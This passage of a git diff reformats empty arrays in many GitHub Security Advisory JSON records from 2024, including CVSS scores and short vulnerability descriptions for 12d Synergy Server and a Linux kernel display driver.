b/advisories/unreviewed/2024/02/GHSA-97fg-5ggq-j35p/GHSA-97fg-5ggq-j35p.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-c7rp-5prq-c624/GHSA-c7rp-5prq-c624.json b/advisories/unreviewed/2024/02/GHSA-c7rp-5prq-c624/GHSA-c7rp-5prq-c624.json index 8b659d3f3e0..24edca66dab 100644 --- a/advisories/unreviewed/2024/02/GHSA-c7rp-5prq-c624/GHSA-c7rp-5prq-c624.json +++ b/advisories/unreviewed/2024/02/GHSA-c7rp-5prq-c624/GHSA-c7rp-5prq-c624.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-c842-547h-7gp8/GHSA-c842-547h-7gp8.json b/advisories/unreviewed/2024/02/GHSA-c842-547h-7gp8/GHSA-c842-547h-7gp8.json index bc957282018..27d59f16eba 100644 --- a/advisories/unreviewed/2024/02/GHSA-c842-547h-7gp8/GHSA-c842-547h-7gp8.json +++ b/advisories/unreviewed/2024/02/GHSA-c842-547h-7gp8/GHSA-c842-547h-7gp8.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-fg4q-4pq7-35p9/GHSA-fg4q-4pq7-35p9.json b/advisories/unreviewed/2024/02/GHSA-fg4q-4pq7-35p9/GHSA-fg4q-4pq7-35p9.json index 17484a853cf..4071e78e026 100644 --- a/advisories/unreviewed/2024/02/GHSA-fg4q-4pq7-35p9/GHSA-fg4q-4pq7-35p9.json +++ b/advisories/unreviewed/2024/02/GHSA-fg4q-4pq7-35p9/GHSA-fg4q-4pq7-35p9.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-fp29-pg6r-vvr7/GHSA-fp29-pg6r-vvr7.json b/advisories/unreviewed/2024/02/GHSA-fp29-pg6r-vvr7/GHSA-fp29-pg6r-vvr7.json index 4c8ca2052f3..87ca34f3674 100644 --- a/advisories/unreviewed/2024/02/GHSA-fp29-pg6r-vvr7/GHSA-fp29-pg6r-vvr7.json +++ b/advisories/unreviewed/2024/02/GHSA-fp29-pg6r-vvr7/GHSA-fp29-pg6r-vvr7.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-fx38-3h42-mwm8/GHSA-fx38-3h42-mwm8.json b/advisories/unreviewed/2024/02/GHSA-fx38-3h42-mwm8/GHSA-fx38-3h42-mwm8.json index 2197892e0b9..1a91ef7fd88 100644 --- a/advisories/unreviewed/2024/02/GHSA-fx38-3h42-mwm8/GHSA-fx38-3h42-mwm8.json +++ b/advisories/unreviewed/2024/02/GHSA-fx38-3h42-mwm8/GHSA-fx38-3h42-mwm8.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-g29c-f862-592m/GHSA-g29c-f862-592m.json b/advisories/unreviewed/2024/02/GHSA-g29c-f862-592m/GHSA-g29c-f862-592m.json index b3299c109a9..a0d09ba0783 100644 --- a/advisories/unreviewed/2024/02/GHSA-g29c-f862-592m/GHSA-g29c-f862-592m.json +++ b/advisories/unreviewed/2024/02/GHSA-g29c-f862-592m/GHSA-g29c-f862-592m.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-g3q6-pqr4-w43v/GHSA-g3q6-pqr4-w43v.json b/advisories/unreviewed/2024/02/GHSA-g3q6-pqr4-w43v/GHSA-g3q6-pqr4-w43v.json index ee8aaec4f3b..2377ee9e31e 100644 --- a/advisories/unreviewed/2024/02/GHSA-g3q6-pqr4-w43v/GHSA-g3q6-pqr4-w43v.json +++ b/advisories/unreviewed/2024/02/GHSA-g3q6-pqr4-w43v/GHSA-g3q6-pqr4-w43v.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-g57h-wh27-8fc4/GHSA-g57h-wh27-8fc4.json b/advisories/unreviewed/2024/02/GHSA-g57h-wh27-8fc4/GHSA-g57h-wh27-8fc4.json index 63fea1a7f0e..38568e95f77 100644 --- a/advisories/unreviewed/2024/02/GHSA-g57h-wh27-8fc4/GHSA-g57h-wh27-8fc4.json +++ b/advisories/unreviewed/2024/02/GHSA-g57h-wh27-8fc4/GHSA-g57h-wh27-8fc4.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-gc37-v9fg-72xc/GHSA-gc37-v9fg-72xc.json b/advisories/unreviewed/2024/02/GHSA-gc37-v9fg-72xc/GHSA-gc37-v9fg-72xc.json index 8ee0e3087d3..d4079357ec9 100644 --- a/advisories/unreviewed/2024/02/GHSA-gc37-v9fg-72xc/GHSA-gc37-v9fg-72xc.json +++ b/advisories/unreviewed/2024/02/GHSA-gc37-v9fg-72xc/GHSA-gc37-v9fg-72xc.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-gf96-mx4m-x82f/GHSA-gf96-mx4m-x82f.json b/advisories/unreviewed/2024/02/GHSA-gf96-mx4m-x82f/GHSA-gf96-mx4m-x82f.json index c8ca4b60a68..f396b9b2dde 100644 --- a/advisories/unreviewed/2024/02/GHSA-gf96-mx4m-x82f/GHSA-gf96-mx4m-x82f.json +++ b/advisories/unreviewed/2024/02/GHSA-gf96-mx4m-x82f/GHSA-gf96-mx4m-x82f.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-gj6f-cjc7-f9fg/GHSA-gj6f-cjc7-f9fg.json b/advisories/unreviewed/2024/02/GHSA-gj6f-cjc7-f9fg/GHSA-gj6f-cjc7-f9fg.json index 0e6da2a6b1d..d8ecb5799b7 100644 --- a/advisories/unreviewed/2024/02/GHSA-gj6f-cjc7-f9fg/GHSA-gj6f-cjc7-f9fg.json +++ b/advisories/unreviewed/2024/02/GHSA-gj6f-cjc7-f9fg/GHSA-gj6f-cjc7-f9fg.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-h6hc-84g9-qq4q/GHSA-h6hc-84g9-qq4q.json b/advisories/unreviewed/2024/02/GHSA-h6hc-84g9-qq4q/GHSA-h6hc-84g9-qq4q.json index 2201288f34d..45fdbd71fce 100644 --- a/advisories/unreviewed/2024/02/GHSA-h6hc-84g9-qq4q/GHSA-h6hc-84g9-qq4q.json +++ b/advisories/unreviewed/2024/02/GHSA-h6hc-84g9-qq4q/GHSA-h6hc-84g9-qq4q.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-j3pp-77jw-4qv6/GHSA-j3pp-77jw-4qv6.json b/advisories/unreviewed/2024/02/GHSA-j3pp-77jw-4qv6/GHSA-j3pp-77jw-4qv6.json index 666a5ce7010..feb4be0fcc9 100644 --- a/advisories/unreviewed/2024/02/GHSA-j3pp-77jw-4qv6/GHSA-j3pp-77jw-4qv6.json +++ b/advisories/unreviewed/2024/02/GHSA-j3pp-77jw-4qv6/GHSA-j3pp-77jw-4qv6.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-jg62-3p5c-pg7j/GHSA-jg62-3p5c-pg7j.json b/advisories/unreviewed/2024/02/GHSA-jg62-3p5c-pg7j/GHSA-jg62-3p5c-pg7j.json index 7b3c510a544..363add20d8d 100644 --- a/advisories/unreviewed/2024/02/GHSA-jg62-3p5c-pg7j/GHSA-jg62-3p5c-pg7j.json +++ b/advisories/unreviewed/2024/02/GHSA-jg62-3p5c-pg7j/GHSA-jg62-3p5c-pg7j.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-jjhm-fvgh-hv85/GHSA-jjhm-fvgh-hv85.json b/advisories/unreviewed/2024/02/GHSA-jjhm-fvgh-hv85/GHSA-jjhm-fvgh-hv85.json index 511581c74eb..6a23a1a04bb 100644 --- a/advisories/unreviewed/2024/02/GHSA-jjhm-fvgh-hv85/GHSA-jjhm-fvgh-hv85.json +++ b/advisories/unreviewed/2024/02/GHSA-jjhm-fvgh-hv85/GHSA-jjhm-fvgh-hv85.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-m285-497c-62j9/GHSA-m285-497c-62j9.json b/advisories/unreviewed/2024/02/GHSA-m285-497c-62j9/GHSA-m285-497c-62j9.json index cd3f3d40671..d9136c38341 100644 --- a/advisories/unreviewed/2024/02/GHSA-m285-497c-62j9/GHSA-m285-497c-62j9.json +++ b/advisories/unreviewed/2024/02/GHSA-m285-497c-62j9/GHSA-m285-497c-62j9.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-mmj5-4682-wjr2/GHSA-mmj5-4682-wjr2.json b/advisories/unreviewed/2024/02/GHSA-mmj5-4682-wjr2/GHSA-mmj5-4682-wjr2.json index 80badd7d33f..4db91984889 100644 --- a/advisories/unreviewed/2024/02/GHSA-mmj5-4682-wjr2/GHSA-mmj5-4682-wjr2.json +++ b/advisories/unreviewed/2024/02/GHSA-mmj5-4682-wjr2/GHSA-mmj5-4682-wjr2.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-p35x-5893-x6gp/GHSA-p35x-5893-x6gp.json b/advisories/unreviewed/2024/02/GHSA-p35x-5893-x6gp/GHSA-p35x-5893-x6gp.json index 9e86f6e6a9c..611024514a4 100644 --- a/advisories/unreviewed/2024/02/GHSA-p35x-5893-x6gp/GHSA-p35x-5893-x6gp.json +++ b/advisories/unreviewed/2024/02/GHSA-p35x-5893-x6gp/GHSA-p35x-5893-x6gp.json @@ -7,12 +7,8 @@ "CVE-2024-24722" ], "details": "An unquoted service path vulnerability in the 12d Synergy Server and File Replication Server components may allow an attacker to gain elevated privileges via the 12d Synergy Server and/or 12d Synergy File Replication Server executable service path. This is fixed in 4.3.10.192, 5.1.5.221, and 5.1.6.235.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": null, "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/02/GHSA-p434-7834-2w5x/GHSA-p434-7834-2w5x.json b/advisories/unreviewed/2024/02/GHSA-p434-7834-2w5x/GHSA-p434-7834-2w5x.json index 39959ad4ea2..42927bb0ebb 100644 --- a/advisories/unreviewed/2024/02/GHSA-p434-7834-2w5x/GHSA-p434-7834-2w5x.json +++ b/advisories/unreviewed/2024/02/GHSA-p434-7834-2w5x/GHSA-p434-7834-2w5x.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-p56v-8px4-hjvv/GHSA-p56v-8px4-hjvv.json b/advisories/unreviewed/2024/02/GHSA-p56v-8px4-hjvv/GHSA-p56v-8px4-hjvv.json index e60438cb682..5e0867588a7 100644 --- a/advisories/unreviewed/2024/02/GHSA-p56v-8px4-hjvv/GHSA-p56v-8px4-hjvv.json +++ b/advisories/unreviewed/2024/02/GHSA-p56v-8px4-hjvv/GHSA-p56v-8px4-hjvv.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-q9h2-7m5w-75p4/GHSA-q9h2-7m5w-75p4.json b/advisories/unreviewed/2024/02/GHSA-q9h2-7m5w-75p4/GHSA-q9h2-7m5w-75p4.json index 854c361f1d0..ef3e39c8a7c 100644 --- a/advisories/unreviewed/2024/02/GHSA-q9h2-7m5w-75p4/GHSA-q9h2-7m5w-75p4.json +++ b/advisories/unreviewed/2024/02/GHSA-q9h2-7m5w-75p4/GHSA-q9h2-7m5w-75p4.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-qcjv-87c8-h68q/GHSA-qcjv-87c8-h68q.json b/advisories/unreviewed/2024/02/GHSA-qcjv-87c8-h68q/GHSA-qcjv-87c8-h68q.json index e46329b95c2..3e63b84cd33 100644 --- a/advisories/unreviewed/2024/02/GHSA-qcjv-87c8-h68q/GHSA-qcjv-87c8-h68q.json +++ b/advisories/unreviewed/2024/02/GHSA-qcjv-87c8-h68q/GHSA-qcjv-87c8-h68q.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-qfhm-jrhg-gr45/GHSA-qfhm-jrhg-gr45.json b/advisories/unreviewed/2024/02/GHSA-qfhm-jrhg-gr45/GHSA-qfhm-jrhg-gr45.json index a4ba401bac2..5e515880905 100644 --- a/advisories/unreviewed/2024/02/GHSA-qfhm-jrhg-gr45/GHSA-qfhm-jrhg-gr45.json +++ b/advisories/unreviewed/2024/02/GHSA-qfhm-jrhg-gr45/GHSA-qfhm-jrhg-gr45.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-qg8q-74vc-qfgq/GHSA-qg8q-74vc-qfgq.json b/advisories/unreviewed/2024/02/GHSA-qg8q-74vc-qfgq/GHSA-qg8q-74vc-qfgq.json index e5ffadb4be1..98d7317577a 100644 --- a/advisories/unreviewed/2024/02/GHSA-qg8q-74vc-qfgq/GHSA-qg8q-74vc-qfgq.json +++ b/advisories/unreviewed/2024/02/GHSA-qg8q-74vc-qfgq/GHSA-qg8q-74vc-qfgq.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-qhwj-cgvq-4h8w/GHSA-qhwj-cgvq-4h8w.json b/advisories/unreviewed/2024/02/GHSA-qhwj-cgvq-4h8w/GHSA-qhwj-cgvq-4h8w.json index 25c37b98d70..d6006c80231 100644 --- a/advisories/unreviewed/2024/02/GHSA-qhwj-cgvq-4h8w/GHSA-qhwj-cgvq-4h8w.json +++ b/advisories/unreviewed/2024/02/GHSA-qhwj-cgvq-4h8w/GHSA-qhwj-cgvq-4h8w.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-qmj7-qjqp-qh5p/GHSA-qmj7-qjqp-qh5p.json b/advisories/unreviewed/2024/02/GHSA-qmj7-qjqp-qh5p/GHSA-qmj7-qjqp-qh5p.json index 4225a722f32..e00aba6b788 100644 --- a/advisories/unreviewed/2024/02/GHSA-qmj7-qjqp-qh5p/GHSA-qmj7-qjqp-qh5p.json +++ b/advisories/unreviewed/2024/02/GHSA-qmj7-qjqp-qh5p/GHSA-qmj7-qjqp-qh5p.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-r3vw-5726-q8gc/GHSA-r3vw-5726-q8gc.json b/advisories/unreviewed/2024/02/GHSA-r3vw-5726-q8gc/GHSA-r3vw-5726-q8gc.json index 41a51637010..de92da9421d 100644 --- a/advisories/unreviewed/2024/02/GHSA-r3vw-5726-q8gc/GHSA-r3vw-5726-q8gc.json +++ b/advisories/unreviewed/2024/02/GHSA-r3vw-5726-q8gc/GHSA-r3vw-5726-q8gc.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-r7c8-hj86-5mfc/GHSA-r7c8-hj86-5mfc.json b/advisories/unreviewed/2024/02/GHSA-r7c8-hj86-5mfc/GHSA-r7c8-hj86-5mfc.json index 1763de8cba1..a14f3ebf487 100644 --- a/advisories/unreviewed/2024/02/GHSA-r7c8-hj86-5mfc/GHSA-r7c8-hj86-5mfc.json +++ b/advisories/unreviewed/2024/02/GHSA-r7c8-hj86-5mfc/GHSA-r7c8-hj86-5mfc.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-v4cg-mf2j-mwp7/GHSA-v4cg-mf2j-mwp7.json b/advisories/unreviewed/2024/02/GHSA-v4cg-mf2j-mwp7/GHSA-v4cg-mf2j-mwp7.json index b7a194fb85b..58af018fdbd 100644 --- a/advisories/unreviewed/2024/02/GHSA-v4cg-mf2j-mwp7/GHSA-v4cg-mf2j-mwp7.json +++ b/advisories/unreviewed/2024/02/GHSA-v4cg-mf2j-mwp7/GHSA-v4cg-mf2j-mwp7.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-vcv5-7xr7-wf5f/GHSA-vcv5-7xr7-wf5f.json b/advisories/unreviewed/2024/02/GHSA-vcv5-7xr7-wf5f/GHSA-vcv5-7xr7-wf5f.json index ca75d4e59f2..0a5d6051412 100644 --- a/advisories/unreviewed/2024/02/GHSA-vcv5-7xr7-wf5f/GHSA-vcv5-7xr7-wf5f.json +++ b/advisories/unreviewed/2024/02/GHSA-vcv5-7xr7-wf5f/GHSA-vcv5-7xr7-wf5f.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-vh22-7653-gg93/GHSA-vh22-7653-gg93.json b/advisories/unreviewed/2024/02/GHSA-vh22-7653-gg93/GHSA-vh22-7653-gg93.json index a931299d2d7..41afc023215 100644 --- a/advisories/unreviewed/2024/02/GHSA-vh22-7653-gg93/GHSA-vh22-7653-gg93.json +++ b/advisories/unreviewed/2024/02/GHSA-vh22-7653-gg93/GHSA-vh22-7653-gg93.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-vwj5-26vq-wvx2/GHSA-vwj5-26vq-wvx2.json b/advisories/unreviewed/2024/02/GHSA-vwj5-26vq-wvx2/GHSA-vwj5-26vq-wvx2.json index bf89d28570a..2ea64056b02 100644 --- a/advisories/unreviewed/2024/02/GHSA-vwj5-26vq-wvx2/GHSA-vwj5-26vq-wvx2.json +++ b/advisories/unreviewed/2024/02/GHSA-vwj5-26vq-wvx2/GHSA-vwj5-26vq-wvx2.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-x2h7-3cpj-7r74/GHSA-x2h7-3cpj-7r74.json b/advisories/unreviewed/2024/02/GHSA-x2h7-3cpj-7r74/GHSA-x2h7-3cpj-7r74.json index f01eaa844d3..2e66224eed1 100644 --- a/advisories/unreviewed/2024/02/GHSA-x2h7-3cpj-7r74/GHSA-x2h7-3cpj-7r74.json +++ b/advisories/unreviewed/2024/02/GHSA-x2h7-3cpj-7r74/GHSA-x2h7-3cpj-7r74.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-x5c7-28cx-8rh5/GHSA-x5c7-28cx-8rh5.json b/advisories/unreviewed/2024/02/GHSA-x5c7-28cx-8rh5/GHSA-x5c7-28cx-8rh5.json index 138b5ac79b8..a8c865286b5 100644 --- a/advisories/unreviewed/2024/02/GHSA-x5c7-28cx-8rh5/GHSA-x5c7-28cx-8rh5.json +++ b/advisories/unreviewed/2024/02/GHSA-x5c7-28cx-8rh5/GHSA-x5c7-28cx-8rh5.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-x62r-6wv3-49pm/GHSA-x62r-6wv3-49pm.json b/advisories/unreviewed/2024/02/GHSA-x62r-6wv3-49pm/GHSA-x62r-6wv3-49pm.json index 9700171e606..dc2f9785486 100644 --- a/advisories/unreviewed/2024/02/GHSA-x62r-6wv3-49pm/GHSA-x62r-6wv3-49pm.json +++ b/advisories/unreviewed/2024/02/GHSA-x62r-6wv3-49pm/GHSA-x62r-6wv3-49pm.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/03/GHSA-3cp6-m65f-qhcw/GHSA-3cp6-m65f-qhcw.json b/advisories/unreviewed/2024/03/GHSA-3cp6-m65f-qhcw/GHSA-3cp6-m65f-qhcw.json index c8adef61605..ec8bd2319eb 100644 --- a/advisories/unreviewed/2024/03/GHSA-3cp6-m65f-qhcw/GHSA-3cp6-m65f-qhcw.json +++ b/advisories/unreviewed/2024/03/GHSA-3cp6-m65f-qhcw/GHSA-3cp6-m65f-qhcw.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/03/GHSA-3j8g-45hc-8h5f/GHSA-3j8g-45hc-8h5f.json b/advisories/unreviewed/2024/03/GHSA-3j8g-45hc-8h5f/GHSA-3j8g-45hc-8h5f.json index 6ef7c64e08e..7f7ab0b645e 100644 --- a/advisories/unreviewed/2024/03/GHSA-3j8g-45hc-8h5f/GHSA-3j8g-45hc-8h5f.json +++ b/advisories/unreviewed/2024/03/GHSA-3j8g-45hc-8h5f/GHSA-3j8g-45hc-8h5f.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/03/GHSA-56mr-5wh4-v4mf/GHSA-56mr-5wh4-v4mf.json b/advisories/unreviewed/2024/03/GHSA-56mr-5wh4-v4mf/GHSA-56mr-5wh4-v4mf.json index 042ba2976cf..da18b28315d 100644 --- a/advisories/unreviewed/2024/03/GHSA-56mr-5wh4-v4mf/GHSA-56mr-5wh4-v4mf.json +++ b/advisories/unreviewed/2024/03/GHSA-56mr-5wh4-v4mf/GHSA-56mr-5wh4-v4mf.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/03/GHSA-6h6w-v33f-88vq/GHSA-6h6w-v33f-88vq.json b/advisories/unreviewed/2024/03/GHSA-6h6w-v33f-88vq/GHSA-6h6w-v33f-88vq.json index 308c06e9768..571f34997c9 100644 --- a/advisories/unreviewed/2024/03/GHSA-6h6w-v33f-88vq/GHSA-6h6w-v33f-88vq.json +++ b/advisories/unreviewed/2024/03/GHSA-6h6w-v33f-88vq/GHSA-6h6w-v33f-88vq.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", @@ -31,9 +29,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/03/GHSA-78r6-645f-335q/GHSA-78r6-645f-335q.json b/advisories/unreviewed/2024/03/GHSA-78r6-645f-335q/GHSA-78r6-645f-335q.json index 401ad130924..b3284fb4ebd 100644 --- a/advisories/unreviewed/2024/03/GHSA-78r6-645f-335q/GHSA-78r6-645f-335q.json +++ b/advisories/unreviewed/2024/03/GHSA-78r6-645f-335q/GHSA-78r6-645f-335q.json @@ -7,12 +7,8 @@ "CVE-2023-52625" ], "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Refactor DMCUB enter/exit idle interface\n\n[Why]\nWe can hang in place trying to send commands when the DMCUB isn't\npowered on.\n\n[How]\nWe need to exit out of the idle state prior to sending a command,\nbut the process that performs the exit also invokes a command itself.\n\nFixing this issue involves the following:\n\n1. Using a software state to track whether or not we need to start\n the process to exit idle or notify idle.\n\nIt's possible for the hardware to have exited an idle state without\ndriver knowledge, but entering one is always restricted to a driver\nallow - which makes the SW state vs HW state mismatch issue purely one\nof optimization, which should seldomly be hit, if at all.\n\n2. Refactor any instances of exit/notify idle to use a single wrapper\n that maintains this SW state.\n\nThis works simialr to dc_allow_idle_optimizations, but works at the\nDMCUB level and makes sure the state is marked prior to any notify/exit\nidle so we don't enter an infinite loop.\n\n3. Make sure we exit out of idle prior to sending any commands or\n waiting for DMCUB idle.\n\nThis patch takes care of 1/2. A future patch will take care of wrapping\nDMCUB command submission with calls to this new interface.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": null, 